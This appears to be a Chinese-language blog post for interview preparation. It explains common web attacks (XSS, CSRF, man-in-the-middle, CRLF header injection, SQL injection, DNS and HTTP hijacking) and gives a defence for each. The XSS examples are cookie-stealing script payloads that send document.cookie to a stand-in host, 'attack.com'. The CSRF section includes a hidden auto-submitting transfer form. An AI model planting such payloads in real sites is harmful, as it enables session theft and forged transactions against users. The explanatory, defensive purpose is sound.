整合了一些常见的网络攻击,例子,还有一些规避方法。
面试或者日常都可以了解一下~🍻
XSS
反射型
含义: 反射型 XSS 攻击的恶意脚本并没有被存储到后端数据库中,而是诱导用户点击某个精心拼接的恶意链接,从而达到攻击的目的。
例子:
假如正常请求地址是:https://xxx.com/list?search=搜索什么东西
,而攻击者拼接了一个恶意的链接:https://xxx.com/list?search=搜索什么东西<script>fetch(`https://attack.com?cookie=${document.cookie}`)</script>
这时候攻击者写了一个收集cookie的服务,一旦用户点击了这个恶意链接,cookie 立马被盗。
防御方案:
- 过滤用户输入: 例如直接用
encodeURIComponent
对查询参数进行过滤,或者写一个函数替换掉那些 <、& 等特殊字符: - 设置HttpOnly: 如果后端登录验证是基于 Cookie 的话,一定要设置其属性为 HttpOnly,这样攻击者无法利用 JS 脚本获取到 Cookie 了。
存储型
含义: 比起反射型,存储型显然更危险一些,这种攻击是指当用户的输入包含了恶意脚本,服务端未经转义就存储到数据库,访问页面会触发恶意脚本执行。因此它攻击范围广,受害面积大,且不容易及时发现和排查。
例子: 设想一篇博客的评论列表下,攻击者发表了一篇评论,内容中包含了 恶意的获取cookie的script 脚本:
你们的cookie我拿走了!
<script>fetch(`http://attack.com?cookie=${document.cookie}`)
</script>
如果服务端未经转译直接把评论字符串保存到数据库了,那么下次只要有用户访问该文章时,包含恶意脚本的评论内容被返回,把当前用户的 cookie 就会轻而易举的发送到攻击者的服务器。
防御方案:(三次经手三次过滤)
- 客户端提交前进行校验过滤,如果包含恶意脚本则不提交,或者提交转义后的字符串
- 服务端接收后先校验过滤,如果包含恶意脚本则不存储到数据库,或者存储转义后的字符串
- 客户端渲染时候进行过滤,即使数据库中存储了未经转义的恶意脚本,输出转义后的字符串
基于DOM型
含义: DOM 型 XSS 与反射型或存储型 XSS 的区别在于,DOM 型在服务器返回的网页或脚本中是看不到恶意代码的,而是在更新 DOM 树的时候触发了恶意脚本的执行。
DOM 型 XSS 攻击随着单页面应用普及和流行愈发常见,因为在单页面应用中 JS 经常操作 DOM,而 DOM 型 XSS 攻击就是利用了浏览器解析机制,因此很容易触发 DOM 型 XSS 攻击。不过好在大部分前端框架,例如 Vue、Angular 都内置 DOM 型 XSS 攻击的防御机制。
例子:
恶意脚本依然在 onerror 回调中被触发:
<img src="x" onerror="fetch(`http://http://attack.com?
cookie=${document.cookie}`)">
防御方案: 推荐使用 DOMPurify 库对用户的输入进行过滤,然后再使用 innerHTML 插入到 DOM 中。
CSRF
含义: csrf是让用户住不知情的情况下,冒用其身份发起了一个请求
例子: 假设网站中有一个通过 Get 请求提交用户评论的接口,那么攻击者就可以在钓鱼网站中加入一个图片,图片的地址就是评论接口
<img src=http://www.conn.com?id=11&con=1000>
如果接口是 Post 提交的,就相对麻烦点,需要用表单来提交接口
<html>
<head>
<script type="text/javascript">
function steal()
{
  iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.conn.com/steal">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
防御方案:
- Get 请求不对数据进行修改
- 不让第三方网站访问到用户 Cookie(使用samesite)
- 阻止第三方网站请求接口
- 请求时附带验证信息,比如验证码或者 token
附: 有时候会介绍使用referer判断是否为本网站的域名,但是它并不可靠,有一些方法可以来绕过referer:绕过referer
中间人攻击
含义: 中间人可以与你建立链接,然后再与服务器建立链接,转发你们之间的内容。这时候中间人就获得了明文的信息
先看下常规的https通信过程:
① 证书验证阶段
-
浏览器发起 HTTPS 请求
-
服务端返回 HTTPS 证书
-
客户端验证证书是否合法,如果不合法则提示警告
② 数据传输阶段
-
当证书验证合法后,在本地生成随机数
-
通过公钥加密随机数,并把加密后的随机数传输到服务端
-
服务端通过私钥对随机数进行解密
-
服务端通过客户端传入的随机数构造对称加密算法,对返回结果内容进行加密后传输
然后是中间人攻击时的通信过程:
-
本地请求被劫持(如DNS劫持等),所有请求均发送到中间人的服务器
-
中间人服务器返回中间人自己的证书
-
客户端创建随机数,通过中间人证书的公钥对随机数加密后传送给中间人,然后凭随机数构造对称加密对传输内容进行加密传输
-
中间人因为拥有客户端的随机数,可以通过对称加密算法进行内容解密
-
中间人以客户端的请求内容再向正规网站发起请求
-
因为中间人与服务器的通信过程是合法的,正规网站通过建立的安全通道返回加密后的数据
-
中间人凭借与正规网站建立的对称加密算法对内容进行解密
-
中间人通过与客户端建立的对称加密算法对正规内容返回的数据进行加密传输
-
客户端通过与中间人建立的对称加密算法对返回结果数据进行解密
由于缺少对证书的验证,所以客户端虽然发起的是 HTTPS 请求,但客户端完全不知道自己的网络已被拦截,传输内容被中间人全部窃取。
防御方法:
在访问https链接的时候,查看一下服务器提供的证书是不是正确的。
除非入侵并取得服务器的证书私钥,否则中间人是不能完全伪装成服务器的样子的。
具体过程是在浏览器发起 HTTPS 请求时,服务器会返回网站的 SSL 证书,浏览器对证书做以下验证:
-
验证域名、有效期等信息是否正确。证书上都有包含这些信息,比较容易完成验证;
-
判断证书来源是否合法。每份签发证书都可以根据验证链查找到对应的根证书,操作系统、浏览器会在本地存储权威机构的根证书,利用本地根证书可以对对应机构签发证书完成来源验证;
-
判断证书是否被篡改。需要与 CA 服务器进行校验;
-
判断证书是否已吊销。通过CRL(Certificate Revocation List 证书注销列表)和 OCSP(Online Certificate Status Protocol 在线证书状态协议)实现,其中 OCSP 可用于第3步中以减少与 CA 服务器的交互,提高验证效率
注入攻击
HTTP 首部注入攻击
攻击方式: 通过 %0D%0A 截断代码,注入 http 头代码。
例子: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789
%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http: //hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。
防御方法: 对 %0D%0A 进行识别,并且剔除。
HTTP 响应截断攻击
攻击方式: 通过 %0D%0A%0D%0A 截断代码,造成多余的空行,注入响应体代码。
例子: 将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。
防御方法: 对 %0D%0A 进行识别,并且剔除。
SQL 注入攻击
攻击方式: 通过单引号字符加“–”,截断 sql 语句,比如截断筛选语句,是条件不满足也可顺利通过
防御方法: 对 “‘ --” 进行识别,并且剔除。
运营商劫持
网络运营商为了卖广告或者其他经济利益,有时候会直接劫持用户的访问,目前,运营商比较常见的作恶方式有两种,分别是DNS劫持、HTTP劫持。
DNS 劫持
含义: 域名劫持通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而让用户无法访问目标网站或恶意要求用户访问指定网站。
HTTP劫持:
含义: 你DNS解析的域名的IP地址不变。在和网站交互过程中的劫持了你的请求。在网站发给你信息前就给你返回了请求。
例子: 当你正常访问一个无广告的页面时,页面上却出现广告弹窗。